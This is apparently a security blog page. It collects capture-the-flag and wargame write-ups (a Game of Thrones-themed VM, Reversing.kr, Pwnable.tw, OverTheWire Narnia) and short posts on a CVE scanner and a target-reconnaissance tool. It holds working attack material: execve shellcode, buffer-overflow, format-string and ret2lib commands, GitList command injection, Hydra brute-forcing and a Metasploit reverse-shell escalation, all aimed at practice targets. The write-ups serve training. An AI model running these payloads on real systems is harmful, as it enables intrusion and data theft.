Browse to: http://192.168.121.130:10000/file/show.cgi/home/aryastark/flag.txt

screenshot 37

Sweet. We have another flag.

Stormlands Flag: 8fc42c6ddf9966db3b09e84365034357

We also get some hints:
The credentials to access to the Mountain and the Vale kingdom are:
user/pass: robinarryn/cr0wn_f0r_a_King-_
db: mountainandthevale

pgAdmin magic will not work. Command line should be used on that kingdom – Talisa Maegyr

Logging into the SQL database:
psql -h 192.168.121.130 mountainandthevale robinarryn

screenshot 38

Listing the DB views:
\dv

screenshot 39

Attempting to read flag contents:
select * from flag;

screenshot 40

Elevating privileges:
grant all privileges on all tables in schema public to robinarryn;

screenshot 41

Attempting to read the flag:

screenshot 42

We get a base64-encoded string. Time to decode.

Decoding the base64-string:
echo “TmljZSEgeW91IGNvbnF1ZXJlZCB0aGUgS2luZ2RvbSBvZiB0aGUgTW91bnRhaW4gYW5kIHRoZSBWYWxlLiBUaGlzIGlzIHlvdXIgZmxhZzogYmIzYWVjMGZkY2RiYzI5NzQ4OTBmODA1YzU4NWQ0MzIuIE5leHQgc3RvcCB0aGUgS2luZ2RvbSBvZiB0aGUgUmVhY2guIFlvdSBjYW4gaWRlbnRpZnkgeW91cnNlbGYgd2l0aCB0aGlzIHVzZXIvcGFzcyBjb21iaW5hdGlvbjogb2xlbm5hdHlyZWxsQDdraW5nZG9tcy5jdGYvSDFnaC5HYXJkM24ucG93YWggLCBidXQgZmlyc3QgeW91IG11c3QgYmUgYWJsZSB0byBvcGVuIHRoZSBnYXRlcw==” | base64 –decode && echo ” ”

screenshot 43

We get another flag, plus hints.

Kingdom of the Mountain and the Vale Flag: bb3aec0fdcdbc2974890f805c585d432

Hints:
User/pass combination: olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah
First you must be able to open the gates.

Before proceeding, let us see if there are any other hints or flags in the database.

Listing DB tables:
\dt

screenshot 44

The map shows a flag for the City of Braavos. So, let us see what the DB reveals.

Reading the braavos_book contents:
select * from braavos_book;

screenshot 45

We get some sort of encrypted message:
Dro wkxi-pkmon qyn gkxdc iye dy mrkxqo iyeb pkmo. Ro gkxdc iye dy snoxdspi kc yxo yp iyeb usvv vscd. Covomd sd lkcon yx drsc lyyu’c vycd zkqo xewlob. Dro nkdklkco dy myxxomd gsvv lo lbkkfyc kxn iyeb zkccgybn gsvv lo: FkvkbWybqrevsc

Decoding the message:
Browse to: https://www.dcode.fr/vigenere-cipher
Paste the message
Select: Try to decrypt automatically (statistical analysis)
Click “Decrypt Vigenere”

screenshot 46

Decoded message:
THE MANY FACED GOD WANTS YOU TO CHANGE YOUR FACE HE WANTS YOU TO IDENTIFY AS ONE OF YOUR KILL LIST SELECT IT BASED ON THIS BOOKS LOST PAGE NUMBER THE DATABASE TO CONNECT WILL BE BRAAVOS AND YOUR PASSWORD WILL BE VALARMORGHULIS

We have received many hints here. First, check the books contents again, then look for the missing number in the kill list. Finally, log in as that user to the Braavos database, with the password ValarMoghulis.

Re-examining the contents of books:

screenshot 45

The missing number is: 5

Reading the kill list:
select * from aryas_kill_list;

screenshot 47

The user is: TheRedWomanMelisandre

Database: braavos
User: TheRedWomanMelisandre
Password: ValarMorghulis

Logging into the Braavos database:
psql -h 192.168.121.130 braavos TheRedWomanMelisandre

Exploring the new database:
\dt

screenshot 48

select * from temple_of_the_faceless_men;

screenshot 49

City of Braavos Flag: 3f82c41a70a8b0cfec9052252d9fd721

Great! Time to continue with the main flags.

The service is imap and the hints are:

screenshot 9

User/pass combination: olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah
First you must be able to open the gates.

Since port 143 is closed, we need to open it. Here, we can use a technique called “port knocking”, where we attempt to connect to certain closed ports, hence knocking.

Ports to knock: 3487 64535 12345

Port knocking:
knock -v 192.168.121.130 3487:tcp 64535:tcp 12345:tcp
nmap 192.168.131.130 -p 143

screenshot 50

Connecting to imap:
nc 192.168.121.130 143
? LOGIN olennatyrell@7kingdoms.ctf H1gh.Gard3n.powah
? LIST “” “*”
? Select Inbox
? FETCH 1 BODY[]

screenshot 51screenshot 52

Sweet! We have another flag, as well as clues.

Kingdom of Reach Flag: aee750c2009723355e2ac57564f9c3db

The Rock (Port 1337) credentials:
User: TywinLannister
Pass: LannisterN3verDie!

Exploring The Rock (GitList):
Browse to: http://192.168.121.130:1337

screenshot 53

casterly-rock -> note_under_the_bed.md

screenshot 54

Decoding the string:
echo 2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874 | xxd -r -p

screenshot 55

We need to access this file. However, we can’t simply paste the path and read the file.

Accessing the file:
Read: https://www.exploit-db.com/exploits/33929/

screenshot 57

Browse to: http://192.168.121.130:1337/casterly-rock/blob/master/”&#8221;`cat /home/tyrionlannister/checkpoint.txt`

screenshot 56

We have to access King’s Landing from The Rock, or in other words, via the browser.

Accessing King’s Landing (MySQL):
Browse to: http://192.168.121.130:1337/casterly-rock/blob/master/”&#8221;`mysql kingslanding -h 192.168.121.130 -ucerseilannister -p_g0dsHaveNoMercy_ -e ‘show tables;’`

screenshot 58

Reading the iron_throne table:
Browse to: http://192.168.121.130:1337/casterly-rock/blob/master/”&#8221;`mysql kingslanding -h 192.168.121.130 -ucerseilannister -p_g0dsHaveNoMercy_ -e ‘select * from iron_throne;’`

screenshot 59

We get morse code.

Morse Code: -..-. . – -.-. -..-. — -.– … –.- .-.. -..-. ..-. .-.. .- –.

Decoding the string:
Browse to: https://www.dcode.fr/morse-code

screenshot 61

Decoded string:

screenshot 60

Attempting the flag:
Browsing directly to the flag does not work. Hence, we are going to have to modify the database in order to read the contents of the flag.

The iron_throne table provided a hint – We have certain privileges.

Checking our privileges:
Browse to: http://192.168.121.130:1337/casterly-rock/blob/master/”&#8221;`mysql kingslanding -h 192.168.121.130 -ucerseilannister -p_g0dsHaveNoMercy_ -e ‘show grants for current_user;’`

screenshot 62

We can privileges to insert and create. Perhaps we can create a new table, and then copy and read the flag there?

Creating a table and reading the flag:
Browse to: http://192.168.121.130:1337/casterly-rock/tree/master/”&#8221;`mysql -h 192.168.121.130 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e “CREATE TABLE flag (flag VARCHAR(300));”`

Browse to: http://192.168.121.130:1337/casterly-rock/tree/master/”&#8221;`mysql -h 192.168.121.130 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e “load data infile ‘/etc/mysql/flag’ into table flag;”`

Browse to: http://192.168.121.130:1337/casterly-rock/tree/master/”&#8221;`mysql -h 192.168.121.130 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e “select * from flag;”`

screenshot 63

Excellent! We have the last kingdom flag, as well as credentials for the final flag.

King’s Landing Flag: c8d46d341bea4fd5bff866a65ff8aea9

SSH Credentials:
User: daenerystargaryen
Pass: .Dracarys4thewin.

Exploring Dragonglass Mine (SSH):
ssh daenerystargaryen@192.168.121.130

screenshot 64

Exploring the mine:
ls

screenshot 65

cat checkpoint.txt

screenshot 66

cat digger.txt

screenshot 67

We get clues as to how to proceed. The talk of “root”, no “Fail2ban” magic, dragons, and the wordlist all hint at pivoting from the current SSH instance to root at the provided IP address using a brute-forcing method such as Hydra.

Brute-forcing the mine’s root password:
scp -p daenerystargaryen@192.168.121.130:/home/daenerystargaryen/digger.txt digger.txt
In one tab: ssh daenerystargaryen@192.168.121.130 -L 8888:172.25.0.2:22 -N
In another tab: hydra -l root -P digger.txt ssh://localhost:8888

screenshot 68

Password: Dr4g0nGl4ss!

Pivoting to the mine’s root:
ssh root@127.0.0.1 -p 8888

screenshot 69

Grabbing the mine (SSH) flag:
ls
cat flag.txt

screenshot 70

DragonGlass Mine Flag: a8db1d82db78ed452ba0882fb9554fc9

Excellent! Time for the final battle.

SSH Credentials:
User: branstark
Pass: Th3_Thr33_Ey3d_Raven

Accessing the White Walkers (SSH):
ssh branstark@192.168.121.130

screenshot 71

Exploring the area:

screenshot 72screenshot 73

We are running a Docker system. Let’s look for docker privilege escalation exploits.

Searching for a Docker privilege escalation exploit:
Search: docker privilege escalation
Read: https://www.rapid7.com/db/modules/exploit/linux/local/docker_daemon_privilege_escalation

screenshot 74

There is a Metasploit module for just what we are looking for.

Elevating privileges in Docker:
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.121.130
set username branstark
set password Th3_Thr33_Ey3d_Raven
run
use exploit/linux/local/docker_daemon_privilege_escalation
set session 1
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.121.128
run

screenshot 75

Investigating with root privileges:
cd /root
ls

screenshot 77

cat checkpoint.txt

screenshot 76

We get a pretty generous hint on how to proceed. We will need to download the final_battle file and see how we can use it.

Downloading the final_battle file and analyzing it:
download final_battle
file final_battle

screenshot 78

Opening the file reveals it is password-protected and contains the final flag.
Our hints will help here.

screenshot 79

Grabbing the password:
We will craft a Python script to reveal the password.
vi final_flag.py

screenshot 80

python final_flag.py

screenshot 81

Grabbing the final flag:

screenshot 82screenshot 83

We have the final flag!

Final Battle Flag: 8e63dcd86ef9574181a9b6184ed3dde5

Time to decode the secret message.

Flags:
Dorne Flag: fb8d98be1265dd88bac522e1b2182140
Winterfell Flag: 639bae9ac6b3e1a84cebb7b403297b79
Iron Islands Flag: 5e93de3efa544e85dcd6311732d28f95
Stormlands Flag: 8fc42c6ddf9966db3b09e84365034357
Kingdom of the Mountain and the Vale Flag: bb3aec0fdcdbc2974890f805c585d432
Kingdom of Reach Flag: aee750c2009723355e2ac57564f9c3db
King’s Landing Flag: c8d46d341bea4fd5bff866a65ff8aea9
Savages Flag: 8bf8854bebe108183caeb845c7676ae4
City of Braavos Flag: 3f82c41a70a8b0cfec9052252d9fd721
DragonGlass Mine Flag: a8db1d82db78ed452ba0882fb9554fc9
Final Battle Flag: 8e63dcd86ef9574181a9b6184ed3dde5

Decoding the secret message:
Browse to: https://crackstation.net/
Enter the hashes in order.

screenshot 84screenshot 85

Awesome! This CTF was a lot of fun. Major kudos to v1s1t0r!
If you read this write-up and didn’t follow along, I suggest you download the VM and give it a go! Come back when you get stuck.

Reversing.kr Write-Up

What follows is a write-up of a reverse engineering war game series, reversing.kr.

The war games have players reverse Windows, Linux, and macOS binaries. The players get a flag if they succeed in compromising the application.

Showing gratitude to the creators of the war game, I will abide by their rules and only publish the solution to those challenges that already have other solutions online. I will not post solutions to challenges that no one else has solved publicly.

[!] Friendly Warning: Some of the binaries are malicious. Some of these are: Easy Unpack, Ransomware, and Twist1. Do not run these binaries outside a sandbox.

[*] Status: IN-PROGRESS

Level 0: Easy Crack

Solution

Inspecting the file in Binary Ninja:

screenshot 3

Initially I was going to use Binary Ninja to complete the challenge. However, as you can see, it shines very little light on the program. Hence, I decided to use IDA.

Inspecting the file with IDA:

image

Notice the push to the lpDialogFunc.

Inspecting lpDialogFunc:

image 2

The sub_401080 function might be interesting.

Inspecting the sub_401080 function:

image 3

Notice straightaway that we see the text “a5yR3versing”.
There’s a letter “E” missing in there somewhere.

image 4

The missing “E” can be found further below, in a comparison to its hex equivalent, 0x45.
It looks like I have the flag.

Flag: Ea5yR3versing

Proof:

screenshot

 

Level 1: Easy Keygen

Instructions

Find the Name when the Serial is 5B134977135E7D13

Solution

Inspecting the file with IDA:

image

Note that there is an array of three integers (16, 32, 48), and that the username (input name) is eight (8) characters long.

Renamed for convenience:

image 2

image 3

loc_401077:
ESI is compared against 3.
If it’s less than three, it jumps to loc_40107E
If it’s greater than three, ESI is cleared by XOR.

ESI is clearly the counter that cycles through the three integers.

Throughout this process, the username is being XOR’ed against the three integers:
16, 32, and 48

Since the goal is to find the name given the serial number, we can use repeating-key XOR decryption using the integer array and the serial number to find the name.

Crafting the solution:

screenshot

Getting the answer:
python keygen.py

screenshot 2

Proof:

screenshot 3

 

Level 2: Music Player

Instructions

This MP3 Player is limited to 1 minutes.
You have to play more than one minute.

There are exist several 1-minute-check-routine.
After bypassing every check routine, you will see the perfect flag.

Solution

Several clues are given right off the bat.

The goal: To bypass the 1-minute play limit.

To do this, we have to bypass “several” check routines.

Since the challenge does not provide any MP3 file, I searched for a random sample online.

Running the player:

image

The player pukes out an error, which is probably in Korean and is not displaying properly.

Inspecting the file with IDA:

image 2

0EA60H translates to 60000 (milliseconds), which translates to 60 seconds.
We have discovered the first check to bypass.

Further down, we find the following:

image 10

This looks like part of a flag?

The other check to bypass can be found further below:

image 3

We will bypass these by changing the instructions to simple JMP instructions.

Changing the instructions using Immunity Debugger:

Bypass the first check:

image 4

Bypass the second check:

image 6

Save the modified executable:

Right-click in the CPU pane -> Copy to executable -> All modifications
Right-click in the File pane -> Save file -> Name to whatever

image 8

Running the modified executable:

image 5

Flag: LIstenCare

Proof:

screenshot

 

Level 3: Replace

Solution

Running the file:

image

The program crashes upon entering a number and hitting “Check”.

Inspecting the file with OllyDbg and IDA:

image 2

image 7

The challenge is titled “Replace”, and there are multiple references to a “Replace” function.
Just as in the previous challenges, this probably means we are going to have to modify instructions.

0040103D . 74 56 JE SHORT Replace.00401095

This jumps past the address which has the “Correct!” string.
So, it makes sense to follow the tip to replace that instruction.

Let’s NOP it.

Replacing 401095 with NOPs:
Double-click on 401095 -> Check “Fill with NOP’s” -> Enter “NOP” -> Assemble

image 3

Checking the program:
Enter “1” and press “Check”.

image 4

The program crashes, as expected.

Notice the value in EAX: 601605CC

Repeating the process with “2”, “3”, etc. reveals a pattern.

With 2: image 5
With 3: image 6

Pattern:
601505CB + <Input> = EAX value

Whatever value is in EAX has two bytes overwritten by NOPs.
Coincidentally, the OPCODE for 0x401071, which jumps over the “Correct” section, is two bytes long.

The solution is to overwrite 0x401071, so we can slide into “Correct”.

image 8

The simple math behind the solution:
x + 601605CB = 401072
x = (401072 – 601605CB) + FFFFFFFF
x = A02A0AA6
x in decimal = 2687109798

screenshot 2

Entering the result into the program:

image 9

Flag: 2687109798

Proof:

screenshot

 

Level 4: ImagePrc

Solution

Running the file:

image

The program lets us draw and check if the drawing is the correct answer.

Inspecting the file with IDA Pro:

image 2

96h = 150 (height)
0C8h = 200 (width)

These are the height and width of the target BMP image.

We also see:

image 9

From this we know that the target image is 200×150, and that it is being loaded from the binary as a resource.

Creating an empty BMP file:

image 3

We save it as a 24-bit Bitmap file.

Inspecting the resource:

image 4

Pasting this should give us the answer.
Since it proved hard to copy the contents from IDA, I decided to use the ResourcesExtract software to extract the file.

Extracting the resource:

image 5

The extract gives us a manifest file. Opening the manifest file reveals that we have everything we need to solve the challenge.

Copying the resource contents using HxD:

image 6

Pasting the contents into the BMP file and saving:

image 7

Note that we replace everything but the header.

The modified file:

image 8

Flag: GOT

Proof:

screenshot

 

Level 5: Position

Instructions

ReversingKr KeygenMe

Find the Name when the Serial is 76876-77776
This problem has several answers.

Password is ***p

Solution

Running the program:

image 8

The program takes in a name and a serial number (76876-77776).
We are provided with the serial number and have to find the name.
We know that the solution ends with the letter “p”.

Inspecting the binary with IDA Pro:

image

A call to loc_401CF0 determines the outcome – whether the inputs are correct or not.

image 2

This loop checks for the first four characters of the name being lowercase letters (a-z).

image 3

Several checks follow:
First, the program checks for the letters in the name being different.
Second, it checks for the serial being 11 characters long, and the fifth character being “-“.
Finally, a lengthy comparison routine occurs which leads to our solution.

The lengthy routine seems complicated at first, but is actually quite simple as long as you keep track of assignments.

CString Reference:
GetAt: https://msdn.microsoft.com/en-us/library/aa314338(v=vs.60).aspx
GetBuffer: https://msdn.microsoft.com/en-us/library/aa314880(v=vs.60).aspx

The easiest way to solve this is to write code as we read along.

Translation of Assembly to Python:

image 6
image 7

Running the solution program:

image 4

Since we know the password ends with “p”, the following are the possible options:
bump
cqmp
ftmp
gpmp

Flag: bump

image 5

Proof:

screenshot

 

Level 6: Direct3D_FPS

Solution

image

This time we are playing a First Person Shooter (FPS), where we get to kill, or rather get killed, by enemies.

Inspecting the binary with IDA Pro:

image 2

This is the function that is triggered when we win the game. It outputs the flag, which starts at byte_407028.
We can confirm this is true by also looking at the binary in Immunity Debugger, as seen below.

image 3

Reading the flag and measuring it:
Ctrl-C the flag in Immunity Debugger.
Open a terminal and use Python to measure the length of the encrypted flag.

image 4

We can see that the flag is encrypted, and that it is 50 bytes in size.

Checking cross-references to the flag:
Ctrl-X to list cross-references.

image 5

Analyzing the function that references the flag:

image 6

The function performs the following calculation for each character in the flag:
xor_offset + (char * 0x210)
char_offset ^ xor_offset

Where:
xor_offset = 409184 + char
char_offset = 407028 + char

To be able to solve this it is necessary to set a breakpoint and run the program in a debugger.
We can do all of this within IDA.

Setting the breakpoint:
Set a breakpoint at: mov dword_CC9194[ecx], 0

image 7

Now we have to run the program and commit suicide. We hit the breakpoint when we commit suicide, as our HP hits 0.

Running the program and executing our code:
Choose a debugger in IDA -> Hit the “Play” icon.
Commit suicide in the game by running into an enemy and staying there until HP hits zero.

Run the following Python code within IDA:
xor_offset = <TBD>
char_offset = <TBD>
print bytearray([(Byte(char_offset + i) ^ Byte(xor_offset + (i * 0x210)) ) for i in range(50)])

In my case:
char_offset = 0xCC7028
xor_offset = 0xCC9184

image 8

Flag: Thr3EDPr0m

Proof:

screenshot

 

Level 7: Easy ELF

 

Solution

Run the program:
chmod u+x Easy_ELF
gdb -q ./Easy_ELF
r

screenshot

Analyzing the program in Binary Ninja:

screenshot 2

We can see that the functions that determine the outcome are sub_8048434 and sub_8048451.

Analyzing sub_8048434:

screenshot 3

No checks here. Moving on.

Analyzing sub_8048451:

screenshot 4

Translation:
first_char ^ 34
second_char = 31
third_char ^ 32
fourth_char ^ ffffff88
fifth_char = 58

screenshot 5

Translation:
third_char = 7c
first_char = 78
fourth_char = dd

Solution:
78 ^ 34
second_char = 31
7c ^ 32
dd ^ 88
fifth_char = 58

Crafting the solution:
vi easy_elf.py

screenshot 6

Solving the challenge:
python easy_elf.py

screenshot 7

Flag: L1NUX

Proof:

screenshot 8

 

Level 8: WindowsKernel

Instructions

Please authenticate to lowercase.

Solution

Pwnable.tw Write-Up

What follows is a write-up of a system exploitation war game series, Pwnable.tw.

The war games have players try to compromise different servers, websites, devices, and applications.  The players get a flag if they succeed in compromising the system.

Showing gratitude to the creators of the war game, I will abide by their rules and only publish the solution to those challenges that already have other solutions online. I will not post solutions to challenges that no one else has solved publicly. I will also not show the flags.

[*] Status: IN-PROGRESS

Level 0: start

Instructions

Running at : nc chall.pwnable.tw 10000

Solution

Inspect the file:
Open the file in Binary Ninja
Options -> Medium Level IL
Right-click lines 5 and 9 -> Display As -> Signed Decimal

screenshot

Looking a the Assembly, we can determine the following:

screenshot 2

Syscall reference: http://syscalls.kernelgrok.com/

The linear disassembly shines further light on the right path:

screenshot 3

We have to execute a simple two-stage attack.

First Stage:
Leak the address of the stack.

Second Stage:
Inject our shellcode in the leaked stack address.

Shellcode (Execve /bin/sh – 25 bytes):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

The following code carries out our strategy:

screenshot 4screenshot 5

Pwn the service:
python start_kill.py

screenshot 6

 

Level 1: orw

Instructions

Read the flag from /home/orw/flag.

Only open read write syscall are allowed to use.

nc chall.pwnable.tw 10001

Solution

Inspect the file:
Open the file in Binary Ninja
Options -> Medium Level IL

screenshot

This binary is pretty straightforward. It will take and execute our shellcode.
In order to read the flag, we simply have to follow the instructions:
Open -> Read -> Write the flag file.

Craft the exploit:

We come with the following high-level code:
char *fn = “/home/orw/flag”;
sys_open(fn, 0, 0);
sys_read(3, fn, 0x30);
sys_write(1, fn, 0x30);

We will refer to the handy Linux Syscall Reference to learn what Assembly instructions we need.

The above translates to the following Assembly instructions:
xor ecx,ecx                  ; clear the ecx registry
mov eax, 0x5               ; sys_open
push ecx                       ; push a NULL value unto the stack
push 0x67616c66       ; galf (flag)
push 0x2f77726f        ; /wro (orw/)
push 0x2f656d6f        ; /emo (ome/)
push 0x682f2f2f         ; h/// (///h)
mov ebx, esp               ; move contents to ebx
xor edx, edx                ; clear the edx registry
int 0x80                        ; interrupt, call the kernel to execute the syscall

mov eax, 0x3              ; sys_read
mov ecx, ebx              ; contents of the flag file
mov ebx, 0x3              ; fd
mov dl, 0x30               ; decimal 48, used for the interrupt
int 0x80                        ; interrupt, call the kernel to execute the syscall

mov eax, 0x4              ; sys_write
mov bl, 0x1                 ; decimal 1, used for the interrupt
int 0x80                        ; interrupt, call the kernel to execute the syscall

Python exploit code:

screenshot 2

Pwn the service:
python orw_kill.py

 

Level 2: calc

Instructions

Have you ever use Microsoft calculator?

nc chall.pwnable.tw 10100

calc

Solution

 

 

CVE_Compare: A Windows Vulnerability Scanning Tool

Due to the lack of Windows vulnerability scanners for penetration testing, I decided to create my own.

CVE_Compare scans software in Windows and compares against the NIST Vulnerability Database (NVD) to identify present vulnerabilities. It also includes an optional scan for missing Microsoft hotfixes and patches.

You can find CVE_Compare here.

The tool works as follows:

  • It runs a scan for all installed packages in a Windows device; be it Windows 7, Windows 8 embedded, Windows 10, etc.
  • It downloads CVE data from NVD.
  • It performs a comparison, matching CVEs to installed software.
  • It outputs the result to the console and to a text file.
  • It offers the option to run a scan for missing Microsoft hotfixes/patches.

The neat thing about this tool is that it has Python and PowerShell (PS1) components. This means that if you are testing a remote device, you can run the PS1 script in the device, and then perform the analysis in your host.

More functionality and capabilities will be added in the future. Enjoy!

 

 

PreEx: Pre-Exploitation Intelligence Gathering

I have recently been working on PreEx, a pre-exploitation intelligence gathering program.

PreEx

My goal with PreEx is to make it easier to gather all the information necessary in order to launch a targeted attack. In combination with other tools such as Tuoni and Cryptan, PreEx can be used to better fingerprint targets and carry out attacks more efficiently.

The use of this tool is to be limited to testing purposes under legal authority.

The current version of PreEx is version 0.

Current capabilities:
* Organization email addresses
* Organization hostnames-IPs
* Target Phone numbers
* Employee social media profiles
* Target Social media profiles
* Current and past addresses
* DNS information
* Registered domain holder information
* SNMP device enumeration
* Samba device enumeration

Future capabilities:
* Relevant contacts
* Events to attend
* Locations visited
* Interests
* Operating System used
* Software used

More functionalities and capabilities will be added in the future.

 

 

OverTheWire – Narnia Write-Up

What follows is a write-up of a binary exploitation war game, OverTheWire Behemoth.

The war game introduces players to the basics of binary exploitation. Players get to exploit vulnerabilities such as plain vanilla buffer overflows, shellcode injection via environment variables, and more.

[*] STATUS: COMPLETED

Level 0

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia0

screenshot

Notice that there is a 20-byte buffer, and that if we enter 0xdeadbeef we get a shell.

Performing a buffer overflow to get a shell:
python -c “print (‘a’ * 20) + ‘\xef\xbe\xad\xde\x88′”
./narnia0

screenshot 2

Grabbing the flag:
cat /etc/narnia_pass/narnia1

screenshot 3

Flag: efeidiedae

Techniques used: Local buffer overflow

 

Level 1

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia1.c

screenshot

Notice the line: ret = getenv(“EGG”)
What this means is we have to set an environment variable titled “EGG” and pass it shell-spawning shellcode.

Setting the environment variable:
export EGG=$’\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80′

Running the binary:
./narnia1

screenshot 2

Grabbing the flag:
cat /etc/narnia_pass/narnia2

screenshot 3

Flag: nairiepecu

Techniques used: Environment variable overwrite

 

Level 2

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia2.c

screenshot

Notice the 128-byte buffer. The solution is another buffer overflow.

Determining the offset to control the Extended Instruction Pointer (EIP):
gdb -q ./narnia2
r $(python -c “print (‘a’ * 140) + (‘b’ * 4)”)

screenshot 2

We have correctly determined the offset, which is evidenced by the program crashing with our b’s.
The total size of the exploit will be 144 bytes.

We now have to insert the shellcode and determine an address that will point back to the start of our shellcode.
Since our shellcode is 25 bytes long, we will  pad our exploit with 115 characters, followed by the shellcode and four b’s. The four b’s will serve as a check that we still control EIP.

Seeking the correct address to jump back to the shellcode:
r $(python -c “print (‘a’ * 115) + (‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80’) + (‘b’ * 4)”)

x/150x $esp

screenshot 3

Notice that after examining 150 words (four bytes per word) into ESP, we can see the start of our shellcode.
To be on the safe side and ensure that the full shellcode is run, we will select 0xffffd880 as our address to jump back to.
We will replace the four b’s with the address to jump back to.

Testing the exploit:
r $(python -c “print (‘a’ * 115) + (‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80’) + (‘\x80\xd8\xff\xff’)”)

screenshot 4

Success. Time to run the exploit outside GDB.

Running the exploit:
./narnia2 $(python -c “print (‘a’ * 115) + (‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80’) + (‘\x80\xd8\xff\xff’)”)

screenshot 5

Grabbing the flag:

screenshot 6
Flag: vaequeezee

Techniques used: Local buffer overflow

 

Level 3

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia3.c

screenshotscreenshot 2

The goal is to copy the contents of ifile (which will have the password to the next level) to ofile, which will be a file we can read.

We will be using a combination of buffer overflow with symbolic links.

Creating our flag container:
touch /tmp/narnia4_pass

Creating directories that will perform the buffer overflow:
cd /tmp
cd ./$(python -c “print ‘A’ * 27”)

The buffer is 32-bytes big, and so 27 A’s plus /tmp/ == 32
This allows us to overwrite the ofile and set it to any path we want

Creating the symbolic link between the real flag file and a second flag container:
ln -s /etc/narnia_pass/narnia4 ./narnia4_pass

screenshot 3

This second flag container and the whole directory structure is done simply to cause an overflow. When we run the program, the first flag container (/tmp/narnia_pass) will be the file where the original file will be copied to.

Running the program to perform the copy operation:
/narnia/narnia3 $(python -c “print (‘/tmp/’) + (‘A’ * 27) + (‘/tmp/narnia4_pass’)”)

screenshot 4

Reading the contents of our flag container:
cat /tmp/narnia4_pass

screenshot 5

Flag: thaenohtai

Techniques used: Local buffer overflow via directory structure; symbolic links

 

Level 4

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia4.c

screenshot

Notice that this will be another simple buffer overflow challenge.
strcpy copies whatever we pass to the application as arguments into the buffer.
Hence, we just have to overflow the buffer and use some shellcode to gain a shell.

Determining the offset to control the Extended Instruction Pointer (EIP):
gdb -q ./narnia4
r $(python -c “print (‘a’ * 270) + (‘b’ * 4)”)

screenshot 2

We almost gained control of EIP on the first shot. Let’s readjust and confirm control.

Readjusting to gain control of EIP:
r $(python -c “print (‘a’ * 272) + (‘b’ * 4)”)

screenshot 3

Excellent. Time to put in the shellcode and determine the return address.

Seeking the correct address to jump back to the shellcode:
r $(python -c “print (‘a’ * 247) + (‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80’) + (‘b’ * 4)”)

x/300x $esp

screenshot 4

Notice that after examining 300 words into ESP, we can see the start of our shellcode.
To be on the safe side and ensure that the full shellcode is run, we will select 0xffffd880 as our address to jump back to.
We will replace the four b’s with the address to jump back to.

Testing the exploit:
r $(python -c “print (‘a’ * 247) + (‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80’) + (‘\x80\xd8\xff\xff’)”)

screenshot 5

Success. Let’s run the exploit outside of GDB now.

Running the exploit:
./narnia4 $(python -c “print (‘a’ * 247) + (‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80’) + (‘\x80\xd8\xff\xff’)”)

screenshot 6

Grabbing the flag:
cat /etc/narnia_pass/narnia5

screenshot 7

Flag: faimahchiy

Techniques used: Local buffer overflow

 

Level 5

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia5.c

screenshot

Notice no format parameter was included for the function snprintf().
For this challenge we will do attack.

Notice that the goal is to make i be 500. We will use format specifiers to achieve this goal.

Key specifiers:
%x    : To print hex values
%n    : To write the amount of characters printed so far
.    : To ensure integers (written in decimal)

Determining where our input starts:
gdb -q ./narnia5
r $(python -c “print (‘A’ * 4) + (‘%x’ * 5)”)

screenshot 2

Input address: 0xffffd6bc

Testing the format string attack in GDB:
r $(python -c ‘print(“\xbc\xd6\xff\xff”)’)%.496x%5\$n

screenshot 3

Success. Time to run the exploit.

Running the exploit:
./narnia5 $(python -c ‘print(“\xcc\xd6\xff\xff”)’)%.496x%5\$n

screenshot 4

Grabbing the flag:
cat /etc/narnia_pass/narnia6

screenshot 5

Flag: neezocaeng

Techniques used: Format string attack

 

Level 6

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia6.c

screenshotscreenshot 2

Notice that we have two 8-byte buffers.
Also notice the inclusion of stdlib.
For this challenge, we will attempt a return-to-lib (ret2lib) attack.

Since stdlib includes everything (meaning it also includes system), we can return to the library and have system run /bin/sh

Testing the theory in GDB:
gdb -q ./narnia6
br *main
r aaaa bbbb
p system

screenshot 3

Address of system: 0xf7e60e70

We have all the information we need to run the attack.
Since the program takes two arguments, we will run two Python instances.

Running the exploit:
./narnia6 $(python -c “print (‘a’ * 8) + ‘\x70\x0e\xe6\xf7′”) $(python -c “print (‘a’ * 8) + ‘/bin/sh'”)

screenshot 4

Grabbing the flag:
cat /etc/narnia_pass/narnia7

screenshot 5

Flag: ahkiaziphu

Techniques used: Return-to-lib (ret2lib)

 

Level 7

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia7.c

screenshotscreenshot 2screenshot 3

